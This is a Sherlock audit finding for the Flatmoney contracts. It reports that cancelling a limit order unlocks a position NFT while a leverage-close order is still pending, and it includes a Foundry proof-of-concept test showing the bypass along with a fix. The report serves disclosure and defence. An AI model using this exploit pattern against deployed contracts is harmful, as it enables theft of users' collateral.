ERC721 locking mechanism does not work

Summary

Creating a delayed order and limit order locks the ERC721 token representing the leverage position. However it can be unlocked before the execution of the order.

Vulnerability Detail

When a user creates a delayed order for example: announceLeverageClose, their NFT is locked until the order is executed. However a user can also create a limit order using announceLimitOrder which will lock their NFT once again. Then they can call cancelLimitOrderand unlock their NFT before the execution of the leverage close. Therefore a user will be able to transfer this NFT. PoC:

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.18;

import {LimitOrder} from "src/LimitOrder.sol";
import {FlatcoinStructs} from "src/libraries/FlatcoinStructs.sol";
import {FlatcoinErrors} from "src/libraries/FlatcoinErrors.sol";
import {ExpectRevert} from "../../helpers/ExpectRevert.sol";
import {OrderHelpers} from "../../helpers/OrderHelpers.sol";
import {ERC721LockableEnumerableUpgradeable} from "../../../src/misc/ERC721LockableEnumerableUpgradeable.sol";

import "forge-std/console2.sol";

contract LimitOrderTest is OrderHelpers, ExpectRevert {
    uint256 tokenId;
    uint256 keeperFee;

    function setUp() public override {
        super.setUp();

        uint256 stableDeposit = 100e18;
        uint256 collateralPrice = 1000e8;
        keeperFee = mockKeeperFee.getKeeperFee();

        announceAndExecuteDeposit({
            traderAccount: alice,
            keeperAccount: keeper,
            depositAmount: stableDeposit,
            oraclePrice: collateralPrice,
            keeperFeeAmount: 0
        });

        announceAndExecuteLeverageOpen({
            traderAccount: alice,
            keeperAccount: keeper,
            margin: 10e18,
            additionalSize: 10e18,
            oraclePrice: collateralPrice,
            keeperFeeAmount: 0
        });

        // second leverage position where tokenId > 0, to ensure proper checks later
        tokenId = announceAndExecuteLeverageOpen({
            traderAccount: alice,
            keeperAccount: keeper,
            margin: 10e18,
            additionalSize: 30e18,
            oraclePrice: collateralPrice,
            keeperFeeAmount: 0
        });
    }

    function test_exploit() public {
        uint256 collateralPrice = 1000e8;
        //Alice anounces a limit order which locks the token
        vm.startPrank(alice);
        limitOrderProxy.announceLimitOrder({tokenId: tokenId, priceLowerThreshold: 900e18, priceUpperThreshold: 1100e18});
        //Alice announces leverage close which locks the token
        delayedOrderProxy.announceLeverageClose(tokenId, 1e18, mockKeeperFee.getKeeperFee());
        //Alice cancels the limit order which unlocks the token
        limitOrderProxy.cancelLimitOrder(tokenId);
        //The NFT is now unlocked, even though leverageClose is not executed
        console2.log(leverageModProxy.isLocked(tokenId));
        assertEq(leverageModProxy.isLocked(tokenId), false);
    }
}

Impact

The way DelayedOrder is written, it gives the collateral back to the account which made an announcement instead of the holder of the position's NFT. This means if the NFT was integrated in other protocols, the owner of the NFT after an announcement can be different and hence the result (let's say position close order) will be that the collateral will be returned to the account which made the announcement.

Code Snippet

you can lock a locked token and unlock an unlocked token: https://github.com/sherlock-audit/2023-12-flatmoney/blob/main/flatcoin-v1/src/misc/ERC721LockableEnumerableUpgradeable.sol?plain=1#L32-47 Locking the tokens: https://github.com/sherlock-audit/2023-12-flatmoney/blob/main/flatcoin-v1/src/DelayedOrder.sol?plain=1#L298 https://github.com/sherlock-audit/2023-12-flatmoney/blob/main/flatcoin-v1/src/DelayedOrder.sol?plain=1#L361 Unlocking the token using LimitOrder https://github.com/sherlock-audit/2023-12-flatmoney/blob/main/flatcoin-v1/src/LimitOrder.sol?plain=1#L87-97

Tool used

Manual Review

Recommendation

Check if there is a pending order with the token in the other contracts before unlocking it

Duplicate of #48

sherlock-audit / 2023-12-flatmoney-judging

novaman33 - ERC721 locking mechanism does not work #70